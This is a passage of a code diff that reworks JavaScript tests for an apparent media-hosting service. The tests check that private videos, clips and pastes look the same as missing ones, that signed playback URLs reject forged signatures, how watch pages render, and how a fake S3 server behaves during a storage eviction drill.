?, 'ready') RETURNING id`);++ await insClip.run(10, 5, 'Public clip', clipFile('clip-10.webm'), 1, 'public');++ await insClip.run(11, 5, 'Private clip', clipFile('clip-11-secret.webm'), 0, 'private');++ const insPaste = raw.prepare(`INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility, screenshot_path)++ VALUES (?, 'live', 5, 'P', ?, ?, 'text', ?, ?) RETURNING id`);++ await insPaste.run('pub-text', 'paste', 'hello', 'public', null);++ await insPaste.run('priv-text', 'paste', 'secret', 'private', null);++ await insPaste.run('priv-shot', 'screenshot', 'caption', 'private', '/nonexistent.png');++++ const mkObj = async (visibility, lifecycle_status) => await model.createObject({++ app_id: 'live', namespace: 'live', kind: 'file', owner_subject: null, owner_app: 'live', owner_user_id: 5,++ visibility, lifecycle_status, mime_type: 'text/plain', size_bytes: 5, metadata: {},++ });++ const privDeleted = await mkObj('private', 'deleted');++ const privUploading = await mkObj('private', 'uploading');++ const pubDeleted = await mkObj('public', 'deleted');++++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/vods', require('../server/vod/routes'));++ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));++ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));++ app.use('/o', require('../server/objects/routes').publicRouter);++ app.use('/', require('../server/public/routes'));++ const server = http.createServer(app);++++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const get = async (p, headers = {}, method = 'GET', body) => {++ const h = { ...headers };++ let payload;++ if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }++ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const text = await res.text();++ return { status: res.status, text, location: res.headers.get('location') };++ };++ const same = async (a, b, msg) => {++ const [x, y] = [await get(...a), await get(...b)];++ assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);++ return x;++ };++ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };++ const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };++ const asUser = (id) => ({ authorization: 'Bearer live-key', 'x-ov-user-id': String(id) });++++ // ── /v and /c: private = missing, for bytes and for the watch page ──++ let r = await same(['/v/2', video], ['/v/999', video], 'private VOD bytes look missing');++ assert.strictEqual(r.status, 404);++ assert.ok(!r.text.includes('private'), 'the answer never says "private"');++ await same(['/v/2', nav], ['/v/999', nav], 'private VOD watch page looks missing');++ await same(['/v/3', video], ['/v/999', video], 'legacy row (no visibility, is_public 0) is private');++ await same(['/v/4', video], ['/v/999', video], 'clips-only source recordings are not served');++ await same(['/v/vod-2-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form: private file names are not confirmed');++ await same(['/v/clip-11-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form reaching a private clip');++ await same(['/c/11', video], ['/c/999', video], 'private clip looks missing');++ await same(['/c/11', nav], ['/c/999', nav], 'private clip watch page looks missing');++ await same(['/v/2', { ...video, ...asUser(77) }], ['/v/999', { ...video, ...asUser(77) }], 'another user of the app is nobody special');++++ assert.strictEqual((await get('/v/1', video)).status, 200, 'public VOD serves');++ assert.strictEqual((await get('/v/6', video)).status, 200, 'unlisted VOD serves by direct link');++ assert.strictEqual((await get('/c/10', video)).status, 200, 'public clip serves');++ assert.strictEqual((await get('/v/2', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private VOD');++ assert.strictEqual((await get('/v/2', { ...video, authorization: 'Bearer live-key' })).status, 200, 'the owning app gets it');++ assert.strictEqual((await get('/c/11', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private clip');++ console.log('✅ /v /c: private looks missing');++++ // ── Signed playback URLs (a reader with no key, e.g. OpenVibe.AI transcribing): only the owning app signs ──++ const signedVia = async (p, headers) => { const x = await get(p, headers); return x.status === 200 ? JSON.parse(x.text) : { status: x.status }; };++ const sv = await signedVia('/api/v1/live/vods/2/signed-url?ttl=600', { authorization: 'Bearer live-key' });++ assert.ok(/^https:\/\/media\.test\/v\/2\?exp=\d+&sig=/.test(sv.url), sv.url);++ assert.strictEqual((await get(sv.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private VOD');++ const sc = await signedVia('/api/v1/live/clips/11/signed-url', { authorization: 'Bearer live-key' });++ assert.strictEqual((await get(sc.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private clip');++ await same([sv.url.replace('https://media.test', '').replace('/v/2?', '/v/3?'), video], ['/v/999', video], 'a VOD signature is not valid for another VOD');++ await same([sc.url.replace('https://media.test', '').replace('/c/11?', '/v/11?'), video], ['/v/999', video], 'a clip signature is not a VOD signature');++ await same([sv.url.replace('https://media.test', '').replace(/sig=[^&]+/, 'sig=AAAA'), video], ['/v/999', video], 'a forged signature is nobody');++ assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', asUser(5))).status, 403, 'a call acting for a user does not sign');++ assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', {})).status, 401, 'no key, no URL');++ const late = signing.signedMediaUrl('vod', 2, 10 * 24 * 3600);++ assert.ok(Date.parse(late.expires_at) - Date.now() <= 6 * 3600 * 1000 + 5000, 'at most 6 hours');++ console.log('✅ /v /c: signed URLs for the owning app only');++++ // ── Transcript companion ──++ r = await same(['/v/2/transcript.json'], ['/v/999/transcript.json'], 'private VOD transcript looks missing');++ assert.strictEqual(r.status, 404);++ assert.ok(!r.text.includes('Secret title'));++ await same(['/v/3/transcript.json'], ['/v/999/transcript.json'], 'legacy private transcript looks missing');++ await same(['/v/4/transcript.json'], ['/v/999/transcript.json'], 'clips-only transcript looks missing');++ console.log('✅ /v/:id/transcript.json: private looks missing');++++ // ── Legacy thumbnail names never hand out a private row's current thumbnail URL ──++ r = await get('/api/thumbnails/vod-1-0.jpg');++ assert.deepStrictEqual([r.status, r.location], [302, '/t/vod-1-111.jpg'], 'public rows still redirect to the current thumbnail');++ await same(['/api/thumbnails/vod-2-0.jpg'], ['/api/thumbnails/vod-999-0.jpg'], 'private row: same answer as a missing one');++ r = await get('/api/thumbnails/vod-2-0.jpg');++ assert.strictEqual(r.location, null, 'no redirect for a private row');++ console.log('✅ /api/thumbnails: no redirect for private rows');++++ // ── /o: a private object is missing without a signature, whatever its lifecycle ──++ await same([`/o/${privDeleted}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'deleted private object: 404, not 410');++ await same([`/o/${privUploading}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'unfinished private object: 404');++ assert.strictEqual((await get(`/o/${pubDeleted}`)).status, 410, 'a deleted public object may say Gone');++ const s = signing.signedDownloadUrl(privDeleted, 60);++ assert.strictEqual((await get(s.url.replace('https://media.test', ''))).status, 410, 'with a valid signature the lifecycle answer is fine');++ console.log('✅ /o: private objects look missing before any lifecycle answer');++++ // ── Paste raw: no redirect or answer that singles out a private paste ──++ await same(['/p/priv-text/raw'], ['/p/no-such/raw'], 'private text paste looks missing');++ await same(['/p/priv-shot/raw'], ['/p/no-such/raw'], 'private screenshot paste: no redirect to its screenshot');++ assert.strictEqual((await get('/p/pub-text/raw')).text, 'hello', 'public paste raw still serves');++ process.env.PASTES_MOVED_TO = 'https://community.test';++ r = await get('/p/no-such/raw');++ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/raw'], 'moved: every slug goes to Community');++ r = await get('/p/priv-shot/raw');++ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/raw'], 'moved: a private screenshot is not bounced to /screenshot');++ // /p/:slug/screenshot: a slug Media doesn't hold (pastes made in Community since the move, whose++ // screenshots hero moments linked here) goes to Community; a private one answers the same way.++ r = await get('/p/no-such/screenshot');++ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/screenshot'], 'moved: an unknown screenshot slug goes to Community');++ r = await get('/p/priv-shot/screenshot');++ assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/screenshot'], 'moved: a private screenshot looks like an unknown one');++ delete process.env.PASTES_MOVED_TO;++ console.log('✅ /p/:slug/raw: private looks missing');++++ // ── v1 detail routes when the app acts for a user ──++ await same(['/api/v1/live/vods/2', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: private VOD looks missing');++ await same(['/api/v1/live/vods/3', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: legacy private VOD looks missing');++ await same(['/api/v1/live/clips/11', asUser(77)], ['/api/v1/live/clips/999', asUser(77)], 'acting non-owner: private clip looks missing');++ await same(['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 2, start_s: 0, end_s: 5 }],++ ['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 999, start_s: 0, end_s: 5 }], 'acting non-owner cannot probe a private VOD by clipping it');++ r = await get('/api/v1/live/vods/2', asUser(5));++ assert.strictEqual(r.status, 200, 'the owner, acting, sees their VOD');++ assert.strictEqual(JSON.parse(r.text).title, 'Secret title');++ assert.strictEqual((await get('/api/v1/live/vods/2', { authorization: 'Bearer live-key' })).status, 200, 'the app key alone sees the namespace');++ assert.strictEqual((await get('/api/v1/live/clips/11', asUser(5))).status, 200);++ assert.strictEqual((await get('/api/v1/live/vods/6', asUser(77))).status, 200, 'unlisted stays reachable by id');++++ const views = async () => (await raw.prepare("SELECT views FROM pastes WHERE slug = 'priv-text'").get()).views;++ const before = await views();++ await same(['/api/v1/live/pastes/priv-text', asUser(77)], ['/api/v1/live/pastes/no-such-slug', asUser(77)], 'acting non-owner: private paste looks missing');++ assert.strictEqual(await views(), before, 'a refused read counts no view');++ assert.strictEqual((await get('/api/v1/live/pastes/priv-text', asUser(5))).status, 200);++ console.log('✅ v1 detail: acting non-owners get the missing answer');++++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('private-not-found: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -7,109 +7,110 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = path.join(os.tmpdir(), `ov-media-pages-${process.pid}.db`);--process.env.DB_PATH = tmp;--process.env.MEDIA_PUBLIC_URL = 'https://media.test';++(async () => {++ const tmp = path.join(os.tmpdir(), `ov-media-pages-${process.pid}.db`);++ process.env.DB_PATH = tmp;++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const pages = require('../server/public/pages');--const pageFrame = require('../server/public/page-frame');++ const db = require('../server/db/database');++ const pages = require('../server/public/pages');++ const pageFrame = require('../server/public/page-frame');--// ── wantsHtmlPage: navigations and preview bots get the page, players get bytes ──--const req = (headers, query = {}) => ({ method: 'GET', headers, query });--assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html,*/*' })), true);--assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'video', accept: 'video/webm,*/*;q=0.5' })), false);--assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html' }, { raw: '1' })), false, '?raw=1 always yields bytes');--assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html', range: 'bytes=0-' })), false, 'range requests are bytes');--assert.strictEqual(pages.wantsHtmlPage(req({ accept: 'text/html,application/xhtml+xml' })), true, 'Accept-based fallback');--assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*' })), false, 'curl / fetch defaults get bytes');--assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*', 'user-agent': 'Mozilla/5.0 (compatible; Discordbot/2.0)' })), true, 'preview bots get the page');--assert.strictEqual(pages.wantsHtmlPage({ method: 'POST', headers: { accept: 'text/html' }, query: {} }), false);++ // ── wantsHtmlPage: navigations and preview bots get the page, players get bytes ──++ const req = (headers, query = {}) => ({ method: 'GET', headers, query });++ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html,*/*' })), true);++ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'video', accept: 'video/webm,*/*;q=0.5' })), false);++ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html' }, { raw: '1' })), false, '?raw=1 always yields bytes');++ assert.strictEqual(pages.wantsHtmlPage(req({ 'sec-fetch-dest': 'document', accept: 'text/html', range: 'bytes=0-' })), false, 'range requests are bytes');++ assert.strictEqual(pages.wantsHtmlPage(req({ accept: 'text/html,application/xhtml+xml' })), true, 'Accept-based fallback');++ assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*' })), false, 'curl / fetch defaults get bytes');++ assert.strictEqual(pages.wantsHtmlPage(req({ accept: '*/*', 'user-agent': 'Mozilla/5.0 (compatible; Discordbot/2.0)' })), true, 'preview bots get the page');++ assert.strictEqual(pages.wantsHtmlPage({ method: 'POST', headers: { accept: 'text/html' }, query: {} }), false);--// ── Watch page: SEO + Frame + canonical rules ──--const vod = {-- id: 42, app_id: 'live', title: 'Late night <build>', description: 'We built a thing & it worked.',-- file_path: '/x/vod-42.mp4', thumbnail_url: '/t/vod-42-1.jpg', duration_seconds: 3725, view_count: 1234,-- is_public: 1, visibility: 'public', created_at: '2026-09-10 20:15:00', ai_overview: 'AI says: nice.',--};--const html = pages.renderWatchPage('vod', vod);--assert.ok(html.includes('<title>Late night <build> — OpenVibe.Media</title>'));--assert.ok(html.includes('<link rel="canonical" href="https://openvibe.live/vod/42">'), 'Live-owned VOD is canonical on Live');--assert.ok(html.includes('<meta name="robots" content="noindex, follow">'));--assert.ok(/\/shared\/theme-loader\.js\?v=[0-9a-f]{12}/.test(html), 'this site\'s own pinned Frame files');--assert.ok(html.indexOf('theme-loader.js') < html.indexOf('<style>'), 'theme-loader runs before the styles');--assert.ok(/\/shared\/navbar\.js\?v=[0-9a-f]{12}/.test(html) && /\/shared\/footer\.js\?v=[0-9a-f]{12}/.test(html), 'the Frame from this site\'s own pinned copy');--assert.ok(html.includes('"service":"media"') && html.includes('"history":{"type":"vod","title":"Late night <build>"}'.replace('<', '\\u003c')));--assert.ok(html.includes('"variant":"compact"'));--assert.ok(html.includes('<meta property="og:type" content="video.other">'));--assert.ok(html.includes('<meta property="og:video" content="https://media.test/v/42?raw=1">'));--assert.ok(html.includes('<meta name="twitter:card" content="summary_large_image">'));--assert.ok(html.includes('src="https://media.test/v/42?raw=1"'), 'the player fetches the bytes with ?raw=1');--const ld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html)[1]);--assert.strictEqual(ld['@type'], 'VideoObject');--assert.strictEqual(ld.duration, 'PT1H2M5S');--assert.strictEqual(ld.uploadDate, '2026-09-10T20:15:00.000Z');--assert.deepStrictEqual(ld.thumbnailUrl, ['https://media.test/t/vod-42-1.jpg']);--assert.strictEqual(ld.url, 'https://openvibe.live/vod/42');--assert.ok(!html.includes('</script>"'), 'no script-closing sequence smuggled through JSON');++ // ── Watch page: SEO + Frame + canonical rules ──++ const vod = {++ id: 42, app_id: 'live', title: 'Late night <build>', description: 'We built a thing & it worked.',++ file_path: '/x/vod-42.mp4', thumbnail_url: '/t/vod-42-1.jpg', duration_seconds: 3725, view_count: 1234,++ is_public: 1, visibility: 'public', created_at: '2026-09-10 20:15:00', ai_overview: 'AI says: nice.',++ };++ const html = pages.renderWatchPage('vod', vod);++ assert.ok(html.includes('<title>Late night <build> — OpenVibe.Media</title>'));++ assert.ok(html.includes('<link rel="canonical" href="https://openvibe.live/vod/42">'), 'Live-owned VOD is canonical on Live');++ assert.ok(html.includes('<meta name="robots" content="noindex, follow">'));++ assert.ok(/\/shared\/theme-loader\.js\?v=[0-9a-f]{12}/.test(html), 'this site\'s own pinned Frame files');++ assert.ok(html.indexOf('theme-loader.js') < html.indexOf('<style>'), 'theme-loader runs before the styles');++ assert.ok(/\/shared\/navbar\.js\?v=[0-9a-f]{12}/.test(html) && /\/shared\/footer\.js\?v=[0-9a-f]{12}/.test(html), 'the Frame from this site\'s own pinned copy');++ assert.ok(html.includes('"service":"media"') && html.includes('"history":{"type":"vod","title":"Late night <build>"}'.replace('<', '\\u003c')));++ assert.ok(html.includes('"variant":"compact"'));++ assert.ok(html.includes('<meta property="og:type" content="video.other">'));++ assert.ok(html.includes('<meta property="og:video" content="https://media.test/v/42?raw=1">'));++ assert.ok(html.includes('<meta name="twitter:card" content="summary_large_image">'));++ assert.ok(html.includes('src="https://media.test/v/42?raw=1"'), 'the player fetches the bytes with ?raw=1');++ const ld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(html)[1]);++ assert.strictEqual(ld['@type'], 'VideoObject');++ assert.strictEqual(ld.duration, 'PT1H2M5S');++ assert.strictEqual(ld.uploadDate, '2026-09-10T20:15:00.000Z');++ assert.deepStrictEqual(ld.thumbnailUrl, ['https://media.test/t/vod-42-1.jpg']);++ assert.strictEqual(ld.url, 'https://openvibe.live/vod/42');++ assert.ok(!html.includes('</script>"'), 'no script-closing sequence smuggled through JSON');--const other = pages.renderWatchPage('clip', { ...vod, id: 7, app_id: 'games', title: 'Frag' });--assert.ok(other.includes('<link rel="canonical" href="https://media.test/c/7">'), 'non-Live items are self-canonical');--assert.ok(other.includes('<meta name="robots" content="index, follow">'));--const unlisted = pages.renderWatchPage('clip', { ...vod, id: 8, app_id: 'games', visibility: 'unlisted' });--assert.ok(unlisted.includes('content="noindex, follow"'), 'unlisted never indexes');++ const other = pages.renderWatchPage('clip', { ...vod, id: 7, app_id: 'games', title: 'Frag' });++ assert.ok(other.includes('<link rel="canonical" href="https://media.test/c/7">'), 'non-Live items are self-canonical');++ assert.ok(other.includes('<meta name="robots" content="index, follow">'));++ const unlisted = pages.renderWatchPage('clip', { ...vod, id: 8, app_id: 'games', visibility: 'unlisted' });++ assert.ok(unlisted.includes('content="noindex, follow"'), 'unlisted never indexes');--// ── Paste viewer: canonical on Community, noindex, Article JSON-LD ──--const paste = { slug: 'abc-123', title: 'hello.js', type: 'paste', content: 'console.log("hi")', language: 'javascript', views: 3, unique_views: 2, created_at: '2026-09-01 10:00:00', updated_at: '2026-09-02 10:00:00', ai_tags: '["js","demo"]' };--const ph = pages.renderPastePage(paste);--assert.ok(ph.includes('<link rel="canonical" href="https://openvibe.community/p/abc-123">'));--assert.ok(ph.includes('<meta name="robots" content="noindex, follow">'));--assert.ok(ph.includes('href="https://openvibe.community/p/abc-123"'), 'header links to the Community page');--assert.ok(ph.includes('console.log("hi")'));--assert.ok(ph.includes('"history":{"type":"paste","title":"hello.js"}'));--const pld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(ph)[1]);--assert.strictEqual(pld['@type'], 'Article');--assert.strictEqual(pld.mainEntityOfPage, 'https://openvibe.community/p/abc-123');--assert.strictEqual(pld.keywords, 'js, demo');--const shot = pages.renderPastePage({ ...paste, slug: 'img-1', type: 'screenshot', screenshot_path: '/x/y.png', content: 'a caption' });--assert.ok(shot.includes('<meta property="og:image" content="https://media.test/p/img-1/screenshot">'));--assert.ok(shot.includes('"@type":"ImageObject"'));--assert.ok(!/\bfree\b/i.test(html + ph + shot + pageFrame.baseCss()), 'no cost claims in served HTML');++ // ── Paste viewer: canonical on Community, noindex, Article JSON-LD ──++ const paste = { slug: 'abc-123', title: 'hello.js', type: 'paste', content: 'console.log("hi")', language: 'javascript', views: 3, unique_views: 2, created_at: '2026-09-01 10:00:00', updated_at: '2026-09-02 10:00:00', ai_tags: '["js","demo"]' };++ const ph = pages.renderPastePage(paste);++ assert.ok(ph.includes('<link rel="canonical" href="https://openvibe.community/p/abc-123">'));++ assert.ok(ph.includes('<meta name="robots" content="noindex, follow">'));++ assert.ok(ph.includes('href="https://openvibe.community/p/abc-123"'), 'header links to the Community page');++ assert.ok(ph.includes('console.log("hi")'));++ assert.ok(ph.includes('"history":{"type":"paste","title":"hello.js"}'));++ const pld = JSON.parse(/<script type="application\/ld\+json">([\s\S]*?)<\/script>/.exec(ph)[1]);++ assert.strictEqual(pld['@type'], 'Article');++ assert.strictEqual(pld.mainEntityOfPage, 'https://openvibe.community/p/abc-123');++ assert.strictEqual(pld.keywords, 'js, demo');++ const shot = pages.renderPastePage({ ...paste, slug: 'img-1', type: 'screenshot', screenshot_path: '/x/y.png', content: 'a caption' });++ assert.ok(shot.includes('<meta property="og:image" content="https://media.test/p/img-1/screenshot">'));++ assert.ok(shot.includes('"@type":"ImageObject"'));++ assert.ok(!/\bfree\b/i.test(html + ph + shot + pageFrame.baseCss()), 'no cost claims in served HTML');--// ── End to end through the router: navigation → page, ?raw=1 → bytes path ──--const express = require('express');--const raw = db.getDb();--raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, duration_seconds) VALUES (?, ?, ?, ?, 1, 'public', 10)`).run(42, 'live', 'Router VOD', '/nonexistent/vod-42.mp4');--raw.prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility) VALUES (?, 'live', 'P', 'paste', 'x', 'text', 'public')`).run('slug1');--const app = express();--app.use('/', require('../server/public/routes'));--const server = app.listen(0);--const port = server.address().port;--const get = (p, headers) => new Promise((resolve, reject) => {-- http.get({ host: '127.0.0.1', port, path: p, headers }, (res) => {-- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));-- }).on('error', reject);--});--(async () => {-- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };-- let r = await get('/v/42', nav);-- assert.strictEqual(r.status, 200);-- assert.ok(r.headers['content-type'].startsWith('text/html'));-- assert.ok(r.body.includes('Router VOD') && r.body.includes('id="navbar-mount"'));-- r = await get('/v/42?raw=1', nav);-- assert.strictEqual(r.status, 404, 'bytes path (no file on disk → 404 JSON), not the page');-- assert.ok(r.headers['content-type'].startsWith('application/json'));-- r = await get('/v/42', { accept: 'video/webm,video/ogg,video/*;q=0.9,*/*;q=0.5', 'sec-fetch-dest': 'video' });-- assert.strictEqual(r.status, 404, 'a <video> element never gets HTML');-- r = await get('/p/slug1', nav);-- assert.strictEqual(r.status, 200);-- assert.ok(r.body.includes('https://openvibe.community/p/slug1'));-- r = await get('/og-image.png', {});-- assert.strictEqual(r.status, 200);-- assert.strictEqual(r.headers['content-type'], 'image/png');-- server.close();-- for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }-- console.log('public pages: all checks passed');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ // ── End to end through the router: navigation → page, ?raw=1 → bytes path ──++ const express = require('express');++ const raw = db.getDb();++ await raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (?, ?, ?, ?, 1, 'public', 10) RETURNING id`).run(42, 'live', 'Router VOD', '/nonexistent/vod-42.mp4');++ await raw.prepare(`INSERT INTO pastes (slug, app_id, title, type, content, language, visibility) VALUES (?, 'live', 'P', 'paste', 'x', 'text', 'public') RETURNING id`).run('slug1');++ const app = express();++ app.use('/', require('../server/public/routes'));++ const server = app.listen(0);++ const port = server.address().port;++ const get = (p, headers) => new Promise((resolve, reject) => {++ http.get({ host: '127.0.0.1', port, path: p, headers }, (res) => {++ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; }); res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body }));++ }).on('error', reject);++ });++ (async () => {++ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };++ let r = await get('/v/42', nav);++ assert.strictEqual(r.status, 200);++ assert.ok(r.headers['content-type'].startsWith('text/html'));++ assert.ok(r.body.includes('Router VOD') && r.body.includes('id="navbar-mount"'));++ r = await get('/v/42?raw=1', nav);++ assert.strictEqual(r.status, 404, 'bytes path (no file on disk → 404 JSON), not the page');++ assert.ok(r.headers['content-type'].startsWith('application/json'));++ r = await get('/v/42', { accept: 'video/webm,video/ogg,video/*;q=0.9,*/*;q=0.5', 'sec-fetch-dest': 'video' });++ assert.strictEqual(r.status, 404, 'a <video> element never gets HTML');++ r = await get('/p/slug1', nav);++ assert.strictEqual(r.status, 200);++ assert.ok(r.body.includes('https://openvibe.community/p/slug1'));++ r = await get('/og-image.png', {});++ assert.strictEqual(r.status, 200);++ assert.strictEqual(r.headers['content-type'], 'image/png');++ server.close();++ for (const ext of ['', '-wal', '-shm']) { try { fs.unlinkSync(tmp + ext); } catch { /* */ } }++ console.log('public pages: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,178 +10,179 @@ const os = require('os');const path = require('path');const http = require('http');const crypto = require('crypto');--const { execFile } = require('child_process');--// The fake S3 lives in this process, so the CLI must run without blocking it (no spawnSync).--const runCli = (args) => new Promise((resolve) => {-- execFile(process.execPath, [path.join(__dirname, '../scripts/r2-eviction-drill.js'), ...args], { env: process.env, encoding: 'utf8' },-- (err, stdout, stderr) => resolve({ status: err ? err.code : 0, stdout, stderr }));--});++(async () => {++ // In this process: the test database is here (PGlite), and the fake S3 answers while the script awaits it.++ const { runScript } = require('./helpers/run-script');++ const runCli = async (args) => { const r = await runScript(path.join(__dirname, '../scripts/r2-eviction-drill.js'), args); return { status: r.code, stdout: r.out, stderr: r.err }; };--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-r2drill-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-r2drill-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--// ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), PUT, DELETE ──--const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };--const s3log = [];--let refusePutTo = null;--function decodeAwsChunked(buf) {-- const out = [];-- let i = 0;-- for (;;) {-- const nl = buf.indexOf('\r\n', i);-- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);-- if (!size) break;-- out.push(buf.subarray(nl + 2, nl + 2 + size));-- i = nl + 2 + size + 2;++ // ── Fake S3: path-style /<bucket>/<key>; HEAD, GET (Range), PUT, DELETE ──++ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };++ const s3log = [];++ let refusePutTo = null;++ function decodeAwsChunked(buf) {++ const out = [];++ let i = 0;++ for (;;) {++ const nl = buf.indexOf('\r\n', i);++ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);++ if (!size) break;++ out.push(buf.subarray(nl + 2, nl + 2 + size));++ i = nl + 2 + size + 2;++ }++ return Buffer.concat(out);}-- return Buffer.concat(out);--}--const s3 = http.createServer((req, res) => {-- const chunks = [];-- req.on('data', (c) => chunks.push(c));-- req.on('end', () => {-- const u = new URL(req.url, 'http://x');-- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');-- const key = rest.join('/');-- const store = buckets[bucket];-- s3log.push([req.method, bucket, key]);-- if (!store) { res.writeHead(404); return res.end(); }-- const obj = store.get(key);-- if (req.method === 'HEAD' || req.method === 'GET') {-- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }-- const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');-- if (m && req.method === 'GET') {-- const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);-- res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, ETag: '"e"' });-- return res.end(obj.subarray(start, end + 1));++ const s3 = http.createServer((req, res) => {++ const chunks = [];++ req.on('data', (c) => chunks.push(c));++ req.on('end', () => {++ const u = new URL(req.url, 'http://x');++ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');++ const key = rest.join('/');++ const store = buckets[bucket];++ s3log.push([req.method, bucket, key]);++ if (!store) { res.writeHead(404); return res.end(); }++ const obj = store.get(key);++ if (req.method === 'HEAD' || req.method === 'GET') {++ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }++ const m = /bytes=(\d+)-(\d+)?/.exec(req.headers.range || '');++ if (m && req.method === 'GET') {++ const start = Number(m[1]), end = Math.min(obj.length - 1, m[2] != null ? Number(m[2]) : obj.length - 1);++ res.writeHead(206, { 'Content-Length': end - start + 1, 'Content-Range': `bytes ${start}-${end}/${obj.length}`, ETag: '"e"' });++ return res.end(obj.subarray(start, end + 1));++ }++ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });++ return res.end(req.method === 'GET' ? obj : undefined);}-- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });-- return res.end(req.method === 'GET' ? obj : undefined);-- }-- if (req.method === 'PUT') {-- if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }-- let body = Buffer.concat(chunks);-- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);-- store.set(key, body);-- res.writeHead(200, { ETag: '"e"' });-- return res.end();-- }-- if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }-- res.writeHead(405); res.end();++ if (req.method === 'PUT') {++ 